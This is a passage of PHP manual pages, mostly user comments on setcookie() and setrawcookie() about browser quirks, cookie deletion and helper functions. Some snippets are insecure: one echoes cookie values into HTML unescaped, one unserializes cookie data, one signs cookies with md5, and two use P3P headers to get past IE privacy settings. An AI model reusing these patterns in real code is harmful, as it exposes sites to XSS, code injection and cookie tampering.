with PHP.Here we give user a form to choose colors he/she
likes for website and when he/she visits site again within one
hour his/her settings are saved and read from cookie
and he/she doesn't have to set the page color and page
text color again.You can change time from 3600
seconds to whatever you deem appropriate in your case.
if you don't understand anything please email me*/

<?php
#checking if form has been submitted
if (isset($_POST['submitted'])){
#if yes (form is submitted) assign values from POST array to variables
$newbgColor=$_POST['bgColor'];
$newtxtColor=$_POST['txtColor'];
#set cookies
setcookie("bgColor",$newbgColor,time()+3600);
setcookie("txtColor",$newtxtColor,time()+3600);

}
#in case user has come for first time and cookies are not set then
if ((!isset($_COOKIE['bgColor']) ) && (!isset($_COOKIE['txtColor']))){
$bgColor = "Black";
$txtColor="White";
}
#if cookies are set then use them
else{
$bgColor = $_COOKIE['bgColor'];
$txtColor = $_COOKIE['txtColor'];
}
?>
<!-- HTML Page-->
<html>
<body bgcolor="<?php echo $bgColor ?>" text="<?php echo $txtColor ?>">
<form action= "<?php echo $_SERVER['PHP_SELF']; ?>" method ="POST">
<p>Body Color:</p>
<select name=bgColor>
<option value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<p>Text Color:</p>
<select name=txtColor>
<tion value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<input type ="hidden" name="submitted" value="true"></br>
<input type="submit" value="remind">
</form>
</body>
</html>
MrXCol 13-Jul-2011 05:27
If you're having problem with IE not accepting session cookies this could help:

It seems the IE (6, 7, 8 and 9) do not accept the part 'Expire=0' when setting a session cookie. To fix it just don't put any expire at all. The default behavior when the 'Expire' is not set is to set the cookie as a session one.

(Firefox doesn't complains, btw.)
chris at styl dot ee 31-May-2011 05:10
I was searching for a simple example of creating a cookie, storing a random number and updating it on refresh. I couldn't find one so I had to figure it out on my own....

- - - -
One thing to *NOTE* is technically you can't update a cookie, you can only overwrite it with a new one with the same name.

- - - -

This creates a random number, stores it in a cookie, then references it on refresh, checks for duplicates and does necessary correction, then stores it again, rinse and repeat...

<?php
ob_start();
$MaxCount = 4;// set the max of the counter, in my tests "4" = (0,1,2,3) I adjusted below (+1) to get a "real" 4 (0,1,2,3,4) this is in reality 5 keys to humans, you can adjust script to eliminate "0", but my script makes use of the "0"

$random =(rand()%($MaxCount+1));//give me a random number limited by the max, adding "1" because computers start counting at "0"

if(!isset($_COOKIE['random'])){// check if random number cookie is not set
    //echo"not set";
    setcookie('random', $random);//set the cookie for the first time
    }else{
    $lastRandom= $_COOKIE['random']; //hold the last number if it was set before
    if($lastRandom == $random){//some logic to avoid repeats
     if($random < $MaxCount){//if below max, add 1
        $random++;
        //echo "under the max, adding 1, ";
    }elseif($random >= ($MaxCount-1)){// if for some reason the random number is more than max or equal to it -1, and an additional -1 for max count in initial var (so in reality this -1 from intial max var, and -1 from $random which should be the same number)
            $random--;
            //echo "hit the max, subtracting 1, ";
        }else{
        $random++;
        //echo "no case match, adding 1, ";
        }
    //echo "(".$lastRandom.", ".$random. "), they matched initally - was it fixed?";
    }else{
    //echo "(".$lastRandom.", ".$random. "), they DO NOT match";
    setcookie('random', $random);
    }
    //echo"is set: {$_COOKIE['random']}";
}

ob_end_flush();

?>
bocian941 at pawno dot pl 24-Apr-2011 09:51
My 2 functions to use "live cookies":

<?php
    function SetCookieLive($name, $value='', $expire = 0, $path = '', $domain='', $secure=false, $httponly=false)
    {
        $_COOKIE[$name] = $value;
        return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
    }

    function RemoveCookieLive($name)
    {
        unset($_COOKIE[$name]);
        return setcookie($name, NULL, -1);
    }
?>
jacobkamphansen at gmail dot com 14-Feb-2011 02:05
I've been pulling my hair for a couple of minutes (read: hours) and finally figured out why setcookie in my case, returned the "headers already sent"-error:

The file in question was orignally saved as ANSI in Notepad and worked flawlessly, but when saved with UTF-8-encoding, it didn't work. So after trying phpDesigner 7, I was able to both save the file in UTF-8 AND remove the BOM (byte-order-mark which is output BEFORE the cookie is set and thereby fails everything).
jdknock (at) gMaIl (dot) com 10-Feb-2011 06:08
IE7 can have trouble with settings cookies that are embedded in an iframe. The problem lies with a W3C standard called Platform for Privacy Preferences or P3P for short.

To overcome, include the header:

header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');

before setting the cookie.
karamfil dot pc at gmail dot com 29-Sep-2010 02:10
Beware of underscores in the hostname, because IE won't save cookies.
RC 24-Sep-2010 04:50
For those of your banging your head as to why a cookie is not present when Internet Explorer 6 prints, the explanation is quite interesting. After a bit of investigation, a cookie with an expiration time other than 0 fails to be passed from IE6 to the server when printing. A cookie with an expiration time of 0 is sent.

Therefore:

setcookie("TestCookie", $value, time()+3600); //will not be sent from Print / Print Preview in IE6

setcookie("TestCookie", $value, 0); //will be sent from Print / Print Preview in IE6

I'll let everyone figure out who's bright idea it was to not send normal expiring cookies when printing in IE6...
Anonymous 10-Sep-2010 12:20
A period in a cookie name (like user.name) seems to show up in the $_COOKIE array as an underscore (so user_name). This means that for example $_COOKIE["user_name"] must be used to read a cookie that has been set with setcookie("user.name" ...), which is already rather confusing.

Furthermore the variable $_COOKIE["user_name"] will retain the value set by setcookie("user.name" ...) and no amount of calling setcookie("user_name" ...) will alter this value. This is rather trivially fixed by clearing the "user.name" cookie, but it can take a while to realize this since there's only "user_name" in $_COOKIE.

Hope this saves someone some time.
jay at w3prodigy dot com 17-May-2010 09:31
You can also delete cookies by supplying setcookie an empty value.

setcookie("w3p_cookie", "");
dbessoudo at gmail dot com 02-Nov-2009 05:58
setcookie - value = "deleted" on IE

  setcookie(session_name(), '', time()-42000, '/');

When "setcookie" is passed an empty value (ie, ''), it changes the value to the string "deleted" and sets the date to exactly one year and one second in the past, ignoring the expiration parameter.*

So, I'm guessing that if a client machine has its time set to more than a year in the past or if the browser is somehow broken, then a site visitor could potentially send a PHPSESSID with a value of "deleted".  This will cause PHP to create a "sess_deleted" file in the sessions directory.

In my case, I was seeing several incidents per minute, with each user clobbering the other's session data causing all kinds of security and identity issues.  Two changes seemed to have solved the problem:

1) Use session_id() in place of '' in setcookie, as well as pick a date that's far in the past (in this case Jan 1, 1970, 8:00:01AM):

    setcookie(session_name(), session_id(), 1, '/');

2) Use session_regenerate_id() when logging a user in or otherwise changing their authority level.

Hope this helps somebody.

Rob

* Here is the relevant code in head.c:

    if (value && value_len == 0) {
        /*
         * MSIE doesn't delete a cookie when you set it to a null value
         * so in order to force cookies to be deleted, even on MSIE, we
         * pick an expiry date 1 year and 1 second in the past
         */
        time_t t = time(NULL) - 31536001;
        dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
        sprintf(cookie, "Set-Cookie: %s=deleted; expires=%s", name, dt);
Eric 02-Nov-2009 07:57
The server my php code is running on has sessions disabled so I am forced to store a fair bit of arbitrary data in cookies.  Using array names was impractical and problematic, so I implemented a splitting routine.  I do not serialize any class instances, just arrays and simple objects.

In a nutshell, when setting a cookie value, I serialize it, gzcompress it, base64 encode it, break it into pieces and store it as a set of cookies.  To fetch the cookie value I get the named piece then iterate through piece names rebuilding the base64 data, then reverse the rest of the process.  The only other trick is deleting the pieces correctly.

Sessions are better, but if they are not available this is a viable alternative.  I chose gz over bz for compression because it looked faster with only slightly worse ratios.

Here is a simplified version of my implementation.  This is a good starting point but is not suitable for most uses.  For example, the domain and path are hard coded and no return values are checked for validity.

<?php
define( 'COOKIE_PORTIONS' , '_piece_' );

function clearpieces( $inKey , $inFirst ) {
    $expire = time()-3600;

    for ( $index = $inFirst ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        setcookie( $inKey.COOKIE_PORTIONS.$index , '' , $expire , '/' , '' , 0 );
        unset( $_COOKIE[$inKey.COOKIE_PORTIONS.$index] );
    }
}

function clearcookie( $inKey ) {
    clearpieces( $inKey , 1 );
    setcookie( $inKey , '' , time()-3600 , '/' , '' , 0 );
    unset( $_COOKIE[$inKey] );
}

function storecookie( $inKey , $inValue , $inExpire ) {
    $decode = serialize( $inValue );
    $decode = gzcompress( $decode );
    $decode = base64_encode( $decode );

    $split = str_split( $decode , 4000 );//4k pieces
    $count = count( $split );

    for ( $index = 0 ; $index < $count ; $index += 1 ) {
        $result = setcookie( ( $index > 0 ) ? $inKey.COOKIE_PORTIONS.$index : $inKey , $split[$index] , $inExpire , '/' , '' , 0 );
    }

    clearpieces( $inKey , $count );
}

function fetchcookie( $inKey ) {
    $decode = $_COOKIE[$inKey];

    for ( $index = 1 ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        $decode .= $_COOKIE[$inKey.COOKIE_PORTIONS.$index];
    }

    $decode = base64_decode( $decode );
    $decode = gzuncompress( $decode );

    return unserialize( $decode );
}
?>
laffen 27-May-2009 10:49
Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different.
<?php
setcookie("testcookie", "value1hostonly", time(), "/", ".example.com", 0, true);
setcookie("testcookie", "value2subdom", time(), "/", "subdom.example.com", 0, true);
?>
The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value.

<?php
$kaker = explode(";", $_SERVER['HTTP_COOKIE']);
foreach($kaker as $val){
    $k = explode("=", $val);
    echo trim($k[0]) . " => " . $k[1];
}

// output
testcookie => value1hostonly
testcookie => value2subdom

?>
php at gigadepot dot com 27-Jul-2008 07:17
If you use a multiple cookie name with the function bellow

example :

createcookie("member[name]","jack");

don't work with array

error with "rawurlencode($name)"

I'm use : createcookie(array('member'=>'name'),'jack');

<?php
createCookie($name, $value='', $maxage=0, $path='',$domain='', $secure=false, $HTTPOnly=false)
    {
        if(is_array($name))
        {
            list($k,$v)    =    each($name);

                $name    =    $k.'['.$v.']';

        }
        $ob = ini_get('output_buffering');
        // Abort the method if headers have already been sent, except when output buffering has been enabled
        if ( headers_sent() && (bool) $ob === false || strtolower($ob) == 'off' )
            return false;
        if ( !empty($domain) )
        {
            // Fix the domain to accept domains with and without 'www.'.
            if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
            // Add the dot prefix to ensure compatibility with subdomains
            if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;
            // Remove port information.
            $port = strpos($domain, ':');
            if ( $port !== false ) $domain = substr($domain, 0, $port);
        }
        // Prevent "headers already sent" error with utf8 support (BOM)
        //if ( utf8_support ) header('Content-Type: text/html; charset=utf-8');
        if(is_array($name))
        {
            header('Set-Cookie: '.$name.'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        }else{
            header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        }
        return true;
    }
?>
isooik at gmail-antispam dot com 26-Feb-2008 02:18
Here's a more advanced version of the php setcookie() alternative function:

<?php

    /**
     * A better alternative (RFC 2109 compatible) to the php setcookie() function
     *
     * @param string Name of the cookie
     * @param string Value of the cookie
     * @param int Lifetime of the cookie
     * @param string Path where the cookie can be used
     * @param string Domain which can read the cookie
     * @param bool Secure mode?
     * @param bool Only allow HTTP usage?
     * @return bool True or false whether the method has successfully run
     */
    function createCookie($name, $value='', $maxage=0, $path='', $domain='', $secure=false, $HTTPOnly=false)
    {
        $ob = ini_get('output_buffering');

        // Abort the method if headers have already been sent, except when output buffering has been enabled
        if ( headers_sent() && (bool) $ob === false || strtolower($ob) == 'off' )
            return false;

        if ( !empty($domain) )
        {
            // Fix the domain to accept domains with and without 'www.'.
            if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
            // Add the dot prefix to ensure compatibility with subdomains
            if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;

            // Remove port information.
            $port = strpos($domain, ':');

            if ( $port !== false ) $domain = substr($domain, 0, $port);
        }

        // Prevent "headers already sent" error with utf8 support (BOM)
        //if ( utf8_support ) header('Content-Type: text/html; charset=utf-8');

        header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        return true;
    }

?>

Regards,
Isaak
soeren dot spreng at gmail dot com 22-Nov-2007 11:35
Beware: The Internet Explorer doesn't accept Cookies with an expiretime, which is to long. time() + time() for example doesn't work and the Cookie won't be created!
mikeh at view22 dot com 19-Oct-2007 08:56
Observed: session cookies were expiring even though the session was still active.  (To test, set a cookie expiry of 5 seconds and keep hitting the page every second.  The session will expire and create a new SESSID after 5 seconds despite the fact that you hit the page only a second ago.)

Calling this function before starting the session fixed it.  It copies the cookie contents back to itself while forcing an update to the expiry time in the cookie.

<?php
function FreshenSessionCookie($lifetimeSeconds, $cookieName = 'PHPSESSID')
{
    if (isset($_COOKIE[$cookieName]))
        {
        $data = $_COOKIE[$cookieName];
        $timeout = time()+$lifetimeSeconds;
        setcookie($cookieName, $data,  $timeout);
        }
}
?>
cwillard at fastmail dot fm 22-Aug-2007 04:55
If you're looking to set multiple values in your cookie (rather than setting multiple cookies) you might find these useful.

<?php
function build_cookie($var_array) {
  if (is_array($var_array)) {
    foreach ($var_array as $index => $data) {
      $out.= ($data!="") ? $index."=".$data."|" : "";
    }
  }
  return rtrim($out,"|");
}

function break_cookie ($cookie_string) {
  $array=explode("|",$cookie_string);
  foreach ($array as $i=>$stuff) {
    $stuff=explode("=",$stuff);
    $array[$stuff[0]]=$stuff[1];
    unset($array[$i]);
  }
  return $array;
}
?>
Hopefully someone finds these useful.
bluewaterbob 13-Jul-2007 08:51
if you are having problems seeing cookies sometimes or deleting cookies sometimes, despite following the advice below, make sure you are setting the cookie with the domain argument. Set it with the dot before the domain as the examples show: ".example.com".  I wasn't specifying the domain, and finally realized I was setting the cookie when the browser url had the http://www.example.com and later trying to delete it when the url didn't have the www. ie. http://example.com. This also caused the page to be unable to find the cookie when the www. wasn't in the domain.  (When you add the domain argument to the setcookie code that creates the cookie, make sure you also add it to the code that deletes the cookie.)
jonathan dot bergeron at rve dot ulaval dot ca 24-May-2007 09:05
About the delete part, I found that Firefox only remove the cookie when you submit the same values for all parameters, except the date, which sould be in the past. Submiting blank values didn't work for me.

Example :
- set -

<?php setcookie( "name", "value", "future_timestamp", "path", "domain" ); ?>

- delete -
<?php setcookie( "name", "value", "past_timestamp", "path", "domain" ); ?>

Jonathan
Marcin Wiazowski 30-Mar-2007 09:08
'session.cookie_domain' should be set to empty string for all local domain names, not only for 'localhost' (but should not be empty for local IP addresses):

<?php
ini_set('session.cookie_domain', (strpos($_SERVER['HTTP_HOST'],'.') !== false) ? $_SERVER['HTTP_HOST'] : '');
?>
mike 26-Mar-2007 05:00
Be careful of using the same cookie name in subdirectories. Setting a simple cookie

<?php setcookie("region", $_GET['set_region']); ?>

both in the root / and for instance in this case /admin/ will create 2 cookies with different paths. In reading the cookies back only the first one is read regardless of path.
21-Mar-2007 11:40
if you only want to do something once per unique visitor, you can test if a cookie is set, and if not, set the cookie and perform the action. This being the poorman's version, it has a problem, where if a user is blocking cookies they will appear as a first time visitor each time. What you can do to avoid this is to set a test cookie first and check that it exists. If it exists, then check to see if your second cookie has been set. If the first one is set, but the second isn't, then you know this is a first time visitor.
gabe at fijiwebdesign dot com 25-Feb-2007 04:25
If you want to delete all cookies on your domain, you may want to use the value of:

<?php $_SERVER['HTTP_COOKIE'] ?>

rather than:

<?php $_COOKIE ?>

to dertermine the cookie names.
If cookie names are in Array notation, eg: user[username]
Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header.

<?php

// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}

?>
09-Feb-2007 02:13
something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false.

to make your code work on both localhost and a proper domain, you can do this:

<?php

$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('cookiename', 'data', time()+60*60*24*365, '/', $domain, false);

?>
ahmetantmen at msn dot com 19-Jan-2007 12:36
You can be sure about the cookie files contents weren't changed.

<?php

$Seperator = '--';
$uniqueID = 'Ju?hG&F0yh9?=/6*GVfd-d8u6f86hp';
$Data = 'Ahmet '.md5('123456789');

setcookie('VerifyUser', $Data.$Seperator.md5($Data.$uniqueID));

if ($_COOKIE) {
   $Cut = explode($Seperator, $_COOKIE['VerifyUser']);
   if (md5($Cut[0].$uniqueID) === $Cut[1]) {
       $_COOKIE['VerifyUser'] = $Cut[0];
   } else {
       die('Cookie data is invalid!!!');
   }
}

echo $_COOKIE['VerifyUser'];

?>

Create a unique id for your site and create a hash with md5($Data.$uniqueID). Attacker can understant that it must be re-hash after change cookie content.
But doesn't. Because cannot guess your unique id. Seperate your hash and data with seperator and send that cookie. Control that hash of returned value and your unique id's is same returned hash. Otherwise you have to stop attack. Sorry for my poor english!
stovenator at gmail dot com 13-Jan-2007 03:54
If you are having issues with IE7 and setcookie(), be sure to verify that the cookie is set via http for http sites, and https for https site.

Also, if the time is incorrect on your server, IE7 will also disallow those cookies from being set.
05-Jan-2007 10:33
If you ever find yourself in a situation where you need to overwrite a non-PHP application's session cookie, you can do that with the following line:

<?php
header("Set-Cookie: SIDNAME=$overwrite; path=/; secure");
?>

I couldn't get setcookie() to do this for all major web browsers, but manually sending the header did the trick. Note: Remove secure if you aren't mandating SSL connections.
kurtubba at gmail dot com 14-Dec-2006 02:12
When setting a top level domain ex ".mydomain.com" you must add the secure arg so it should look like

<?php
setcookie("TestCookie", $value, time()+3600, "/", ".example.com", 0);
?>

ignoring the secure arg makes IE ignores the cookie
to get the top level domain use

<?php
$myDomain = ereg_replace('^[^\.]*\.([^\.]*)\.(.*)$', '\1.\2',$_SERVER['HTTP_HOST']);
?>

to avoid localhost switch use

<?php
$phpCkDmn = $_SERVER['HTTP_HOST'] != "localhost" ? $myDomain : false;
?>
paul nospam AT nospam sitepoint dot com 07-Dec-2006 05:59
Note when setting "array cookies" that a separate cookie is set for each element of the array.

On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain).

More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain.  This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain.  Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser.
hansel at gretel dot com 06-Nov-2006 05:12
The following code snippet combines abdullah's and Charles Martin's examples into a powerful combination function (and fixes at least one bug in the process):

<?php
  function set_cookie_fix_domain($Name, $Value = '', $Expires = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false)
  {
    if (!empty($Domain))
    {
      // Fix the domain to accept domains with and without 'www.'.
      if (strtolower(substr($Domain, 0, 4)) == 'www.')  $Domain = substr($Domain, 4);
      $Domain = '.' . $Domain;

      // Remove port information.
      $Port = strpos($Domain, ':');
      if ($Port !== false)  $Domain = substr($Domain, 0, $Port);
    }

    header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                          . (empty($Expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s', $Expires) . ' GMT')
                          . (empty($Path) ? '' : '; path=' . $Path)
                          . (empty($Domain) ? '' : '; domain=' . $Domain)
                          . (!$Secure ? '' : '; secure')
                          . (!$HTTPOnly ? '' : '; HttpOnly'), false);
  }
?>

Basically, if the domain parameter is supplied, it is converted to support a broader range of domains.  This behavior may or may not be desireable (e.g. could be a security problem depending on the server) but it makes cookie handling oh-so-much-nicer (IMO).
adruff at gmail dot com 06-Aug-2006 07:14
If you intend to use persistent cookies (vice session cookies that are deleted when the browser is closed) be aware:
1) Firefox appears to require that you include all paramaters, or it will ignore the expiration and treat the cookie as a session cookie
2) My version of firefox (1.5.0.6) defaults to 'keep cookies until i close firefox' , which essentially makes every cookie a session cookie. This of course sucks for devs, but i suppose is supposed to be a security feature for the end user. If the user wants to configure firefox to respect the expiration date and retain cookies beyond the session, the user must change it to 'keep cookies until they expire'.
gareth at gw126 dot com 05-Jun-2006 04:38
You can use cookies to prevent a browser refresh repeating some action from a form post... (providing the client is cookie enabled!)

<?php
//Flag up repeat actions (like credit card transaction, etc)
if(count($_POST)>0) {
    $lastpost= isset($_COOKIE['lastpost']) ? $_COOKIE['lastpost'] : '';
    if($lastpost!=md5(serialize($_POST))) {
        setcookie('lastpost', md5(serialize($_POST)));
        $_POST['_REPEATED']=0;
    } else {
        $_POST['_REPEATED']=1;
    }
}

//At this point, if $_POST['_REPEATED']==1, then  the user
//has hit the refresh button; so don't do any actions that you don't
//want to repeat!
?>

Hope that helps :)

Gareth
simon at ruderich dot com 01-Aug-2005 11:21
If you want to delete a session cookie, you can do it with this code:

<?php
  session_start();

  // many code

  $sessionName = session_name();
  $sessionCookie = session_get_cookie_params();

  session_destroy();

  setcookie($sessionName, false, $sessionCookie['lifetime'], $sessionCookie['path'], $sessionCookie['domain'], $sessionCookie['secure']);
 ?>

This works also well if the session cookie params or the session name were changed.
terry at scribendi dot com 08-May-2005 04:07
A few comments have suggested using serialize() to set object or array data into a cookie.  There are a couple of reasons to be carefull with that technique:

Security: If the cookie is human readable, then it is also fairly easy for end users to play around with it.  Wrapping your cookie setting and getting in an encryption routine will prevent tampering, and make sure that your cookies don't make any sense to any client-side exploits or other sites they get sent to thanks to browser bugs.

Bulk: If you serialize even a fairly simple class, then you get a lot of data.  Large cookies will make browser requests fat and slow, and some browsers have a limit on cookie size, so think about what data you really need to persist, and create __sleep() and __wakeup() methods to package the data into the shortest possible form.  You can get better and faster results when you write your own __sleep() and __wakup() to implode() or pack() your data, than by using zlib compress() on the serialized object.
Carl V 08-Apr-2005 05:29
If you want to delete all the cookies set by your domain, you may run the following:

<?php
$cookiesSet = array_keys($_COOKIE);
for ($x=0;$x<count($cookiesSet);$x++) setcookie($cookiesSet[$x],"",time()-1);
?>

Very useful when doing logout scripts and the cookie name may have changed (long story).
Alchaemist 15-Mar-2005 12:36
setcookie + header Location + IIS 5 = Trouble

It took me a long time to figure out what was causing a missing cookie in one system while it worked perfectly in another...

See this one: http://support.microsoft.com/kb/q176113/

In short, this WILL NEVER WORK IN IIS 5:
<?php
header("Pragma: no-cache");
header('Location: http://www.example.com/');
setcookie('AA','1',0,'/');
setcookie('BB','2',time() + 24 * 3600,'/');
?>

You will ONLY get the Location Header, everything else will be "cut out" by IIS 5 CGI implementation.

Solutions:
1- Migrate to Apache/IIS6/Whatever
2- Use a Non Parsed Header Script (nph-*.php)
3- Try with header('Refresh: 0; $URL');

I hope this helps somebody not to spend hours knocking his/her head.

Alchaemist
apex at xepa dot nl 25-Nov-2003 03:59
Note on setting cookies allowing access to sites:

If you are not using something "personal" from the computer that you are sending the cookie too watch out.  Via javascript it is possible to steal cookies from other users.  Thus allowing the stealer to login to your site as another user that might not have access otherwise.  Try to add something like the user's ip in the cookie and allowing access from that ip only with the stored cookie data.

[Editor's note: ... or simply use sessions. You can't be sure that the visitor will use the same IP the next visit. Not even on the next request (thanks to proxy servers)]
01-Oct-2003 01:13
When using your cookies on a webserver that is not on the standard port 80, you should NOT include the :[port] in the "Cookie domain" parameter, since this would not be recognized correctly.
I had the issue working on a project that runs on multiple servers (development, production, etc.). One of the servers is running on a different port (together with other websites that run on the same server but on different ports).
dave at fubra dot com 09-Sep-2003 09:36
There are several characters that dont work correctly if part of the cookie name, I in particular ran into problems using = as part of the cookie name ie/

<?php setcookie('dE4fR=', $foo); ?>

this was as a result of base64_encode() ing a variable to use as the name. The cookie was being set fine but the = is stored as a little square character in the cookie which prevent proper retreival.

The solution for me was to use md5() instead of base64_encode() but any other method which avoids the = sign should also solve the problem
soreman at abv dot bg 12-Apr-2003 12:26
If you experience problems on Microsoft Information Server (IIS) when setting a cookie via PHP and when PHP is running as a CGI binary it is not setting the cookie. After spending many hours on what the problem is here is what happens:

When you invoke setcookie and redirect to another page you will not have your cookie set, because it seems that IIS doesn't set the cookie unless you actually send some contents to the browser. Therefore if you want to set a cookie and then redirect to another page you will have to do the redirection via JavaScript and/or HTML if you want your script to work on IIS.
mleer at sp dot nl 19-Dec-2002 11:50
P3P is a good idea. But.
IE 6 features an inadequate definition of third party cookies.
If your site is hosted on server A and your PHP stuff is coming in a framesetting from server B your setcookie-attempts will be blocked when default privacy settings are deployed. Your secondparty-cookie will be regarded as a thirdparty-cookie.

So what you do is not read the P3P-Internet Explorer 6-manual at MS but send a header like

<?php
header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');
?>

before doing the setcookie-thing. This will enable your cookie to survive any IE-6 privacy settings.

You won't do this if you're working for some doubleclick institution, because if you do, you... you...well... you are not a very nice person!


Send a cookie without urlencoding the cookie value

  • « setcookie
  • socket_get_status »
  • PHP Manual
  • Network Functions
  • Send a cookie without urlencoding the cookie value

setrawcookie

(PHP 5)

setrawcookie — Send a cookie without urlencoding the cookie value

Description

bool setrawcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

setrawcookie() is exactly the same as setcookie() except that the cookie value will not be automatically urlencoded when sent to the browser.

Parameters

For parameter information, see the setcookie() documentation.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | A Max-Age attribute is now included in the Set-Cookie header sent to the client.
5.2.0 | The httponly parameter was added.

See Also

  • setcookie() - Send a cookie

User Contributed Notes

sageptr at gmail dot com 17-Jul-2012 01:10
If you want to pass something and unserialize later, you should somehow sign value to ensure evil user don't modify it.
For example, calculate hash sha1($value.$securekey) and place it to different cookie. If cookie value mismatch hash - simple discard both.
This technique you can use in any case if you want to protect cookie from modification, but it can't protect from deletion or from setting to other valid cookie (old or stolen from other user).
kexianbin at diyism dot com 29-Dec-2011 04:35
my php cookie value encode function:

<?php
function encode_cookie_value($value)
         {return strtr($value,
                       array_combine(str_split($tmp=",; \t\r\n\013\014"),
                                     array_map('rawurlencode', str_split($tmp))
                                    )
                      );
         }
setrawcookie('kk', encode_cookie_value('jk=jk?jk-/":jk;jk jk,jk'));
?>
Sebastian 29-Jun-2011 01:59
You really shouldn't use (un)serialize with cookies. An evil user could inject ANY code in your script.
lgb 01-Oct-2009 10:53
After having several problems with this cookie thing, I'm using base64_encode on the data I put into a cookie, so I can avoid problems, I had before. I tried to set up cookie with data created by serialize() from a PHP array, but it did not work to be able to get it back, after I modified it to use value of base64_encode(serialize(...)) to set up the cookie, and unserialize(base64_decode(..)) to get back the value, everything started to work.
subs at voracity dot org 12-Dec-2006 02:31
setrawcookie() isn't entirely 'raw'. It will check the value for invalid characters, and then disallow the cookie if there are any. These are the invalid characters to keep in mind: ',;<space>\t\r\n\013\014'.

Note that comma, space and tab are three of the invalid characters. IE, Firefox and Opera work fine with these characters, and PHP reads cookies containing them fine as well. However, if you want to use these characters in cookies that you set from php, you need to use header().
Brian 10-Mar-2006 08:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

<?php
setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);
?>

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.


Alias of stream_get_meta_data

  • « setrawcookie
  • socket_set_blocking »
  • PHP Manual
  • Network Functions
  • Alias of stream_get_meta_data

socket_get_status

(PHP 4, PHP 5)

socket_get_status — Alias of stream_get_meta_data()

Description

This function is an alias of: stream_get_meta_data().

User Contributed Notes

gtk at linux dot online dot no 21-Feb-2002 08:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
    echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net 25-Jan-2002 02:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org 11-Dec-2000 12:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)


Alias of stream_set_blocking

